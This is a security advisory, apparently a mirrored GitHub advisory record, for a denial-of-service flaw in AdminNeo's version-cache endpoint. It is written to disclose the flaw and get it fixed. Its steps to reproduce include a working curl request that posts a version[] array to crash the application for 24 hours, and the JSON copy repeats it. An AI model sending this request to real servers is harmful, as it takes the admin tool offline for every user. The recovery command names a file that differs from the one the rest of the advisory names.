GHSA-JM85-8CPP-9CJC

Vulnerability from github – Published: 2026-10-30 18:53 – Updated: 2026-10-30 18:53
VLAI
Summary
AdminNeo: version-cache array injection causes persistent denial of service
Details

Summary

AdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, function rawurlencode() receives this array instead of string and throws TypeError, returning HTTP 500 to all users for the next 24 hours.

Originally reported by @JoyGhoshs in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh Although the version checking process was modified in AdminNeo, the root cause persisted.

Workaround

If you can't upgrade, make the file adminneo.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version

The endpoint is designed to receive version data from GitHub via browser JavaScript. - functions.js line 110-121: Receives the latest release information from GitHub API by AJAX. - JavaScript POSTs version number to ?script=version. - Server stores version number in /tmp/adminneo.version file that is used as a shared cache for all users in the same server for the next 24 hours.

// function.js lines 119-120
const data = 'version=' + version + '&token=' + token;
ajax(baseUrl + 'script=version', null, data);

2. The vulnerability

The endpoint only checks $_GET["script"] == "version" - it does not validate: - Request origin (CSRF token is present, but not checked for this endpoint) - Request source (any HTTP client can POST) - Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php lines 44-53
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminneo.version";
    @unlink($filename); // It may not be writable by us, @ - it may not exist.

    $file = open_file_with_lock($filename);
    if ($file) {
        write_and_unlock_file($file, serialize(["version" => $_POST["version"]]));
    }
    exit;
}

3. Type confusion crash

When POST contains version[] instead of version, PHP creates an array. When AdminNeo reads this file and passes to cookie() and then to rawurlencode():

// design.inc.php line 40
cookie("neo_version", $data["version"], $lifetime); // Sync expiration with the file.

// functions.inc.php lines 398-405
function cookie(string $name, string $value, int $lifetime = 2592000): void
{
    header("Set-Cookie: $name=" . rawurlencode($value)
        . ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
        . "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
        . (HTTPS ? "; secure" : "")
        . "; HttpOnly; SameSite=lax",
        false);
}

PHP 8.x throws:

Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given

Steps to Reproduce

(Example URL is for the official AdminNeo Docker image.)

Step 1: Verify AdminNeo is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8080?script=version" -d "version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminneo.version

Expected output:

a:1:{s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, AdminNeo returns HTTP 200.


Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from GitHub via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before rawurlencode(), this allows DoS for the next 24 hours.

Affected users: Any AdminNeo instance accessible over the network.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "adminneo-org/adminneo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.6.2"
            },
            {
              "fixed": "5.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59978"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-30T18:53:08Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to `?script=version`. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST `version[]` parameter which PHP converts to an array. On next page load, function `rawurlencode()` receives this array instead of string and throws `TypeError`, returning HTTP 500 to all users for the next 24 hours.\n\nOriginally reported by @JoyGhoshs in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh\nAlthough the version checking process was modified in AdminNeo, the root cause persisted.\n\n### Workaround\nIf you can\u0027t upgrade, make the file `adminneo.version` in temp directory (usually the value of [upload_tmp_dir](https://www.php.net/ini.core#ini.upload-tmp-dir)) unwritable by web server.\n\n### Details\n#### 1. Intended design of `?script=version`\nThe endpoint is designed to receive version data from GitHub via browser JavaScript.\n- `functions.js` line 110-121: Receives the latest release information from GitHub API by AJAX.\n- JavaScript POSTs version number to `?script=version`.\n- Server stores version number in `/tmp/adminneo.version` file that is used as a shared cache for all users in the same server for the next 24 hours.\n\n```js\n// function.js lines 119-120\nconst data = \u0027version=\u0027 + version + \u0027\u0026token=\u0027 + token;\najax(baseUrl + \u0027script=version\u0027, null, data);\n```\n\n#### 2. The vulnerability\n\nThe endpoint only checks `$_GET[\"script\"] == \"version\"` - it does not validate:\n- Request origin (CSRF token is present, but not checked for this endpoint)\n- Request source (any HTTP client can POST)\n- Parameter types (`version` expected as string, array not rejected)\n\n```php\n// bootstrap.inc.php lines 44-53\nif ($_GET[\"script\"] == \"version\") {\n\t$filename = get_temp_dir() . \"/adminneo.version\";\n\t@unlink($filename); // It may not be writable by us, @ - it may not exist.\n\n\t$file = open_file_with_lock($filename);\n\tif ($file) {\n\t\twrite_and_unlock_file($file, serialize([\"version\" =\u003e $_POST[\"version\"]]));\n\t}\n\texit;\n}\n```\n\n#### 3. Type confusion crash\nWhen POST contains `version[]` instead of `version`, PHP creates an array. When AdminNeo reads this file and passes to `cookie()` and then to `rawurlencode()`:\n\n```php\n// design.inc.php line 40\ncookie(\"neo_version\", $data[\"version\"], $lifetime); // Sync expiration with the file.\n\n// functions.inc.php lines 398-405\nfunction cookie(string $name, string $value, int $lifetime = 2592000): void\n{\n\theader(\"Set-Cookie: $name=\" . rawurlencode($value)\n\t\t. ($lifetime ? \"; expires=\" . gmdate(\"D, d M Y H:i:s\", time() + $lifetime) . \" GMT\" : \"\")\n\t\t. \"; path=\" . preg_replace(\u0027~\\?.*~\u0027, \u0027\u0027, $_SERVER[\"REQUEST_URI\"])\n\t\t. (HTTPS ? \"; secure\" : \"\")\n\t\t. \"; HttpOnly; SameSite=lax\",\n\t\tfalse);\n}\n```\n\nPHP 8.x throws:\n\n```\nFatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given\n```\n\n### Steps to Reproduce\n\n(Example URL is for the official AdminNeo Docker image.)\n\n**Step 1:** Verify AdminNeo is running and accessible.\n\n```sh\ncurl -s -o /dev/null -w \"%{http_code}\\n\" http://localhost:8080\n```\n\nExpected output:\n\n```\n200\n```\n\n**Step 2:** Send the malicious POST request. The `version[]` syntax causes PHP to create an array instead of a string.\n\n```sh\ncurl -X POST \"http://localhost:8080?script=version\" -d \"version[]=INJECTED\"\n```\n\nExpected output: Empty response (no error).\n\n**Step 3:** Access Adminer again to trigger the crash.\n\n```sh\ncurl -s -o /dev/null -w \"%{http_code}\\n\" http://localhost:8080\n```\n\nExpected output:\n\n```\n500\n```\n\n**Step 4:** (Optional) View the PHP error in server logs.\n\n```\nFatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given\n```\n\n**Step 5:** (Optional) Inspect the poisoned file.\n\n```sh\ncat /tmp/adminneo.version\n```\n\nExpected output:\n\n```\na:1:{s:7:\"version\";a:1:{i:0;s:8:\"INJECTED\";}}\n```\n\n**Recovery:**\n\n```sh\nrm /tmp/adminer.version\n```\n\nAfter deletion, AdminNeo returns HTTP 200.\n\n\u003chr\u003e\n\n### Impact\n\n**Type:** Denial of Service\n\n**Root cause:** The `?script=version` endpoint is designed to receive data from GitHub via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before `rawurlencode()`, this allows DoS for the next 24 hours.\n\n**Affected users:** Any AdminNeo instance accessible over the network.",
  "id": "GHSA-jm85-8cpp-9cjc",
  "modified": "2026-10-30T18:53:08Z",
  "published": "2026-10-30T18:53:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/adminneo-org/adminneo/security/advisories/GHSA-jm85-8cpp-9cjc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/adminneo-org/adminneo/commit/b7ae929e6afb374f0a7aba3d73b7d441470ff907"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/adminneo-org/adminneo"
    },
    {
      "type": "WEB",
      "url": "https://github.com/adminneo-org/adminneo/releases/tag/v5.5.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AdminNeo: version-cache array injection causes persistent denial of service"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.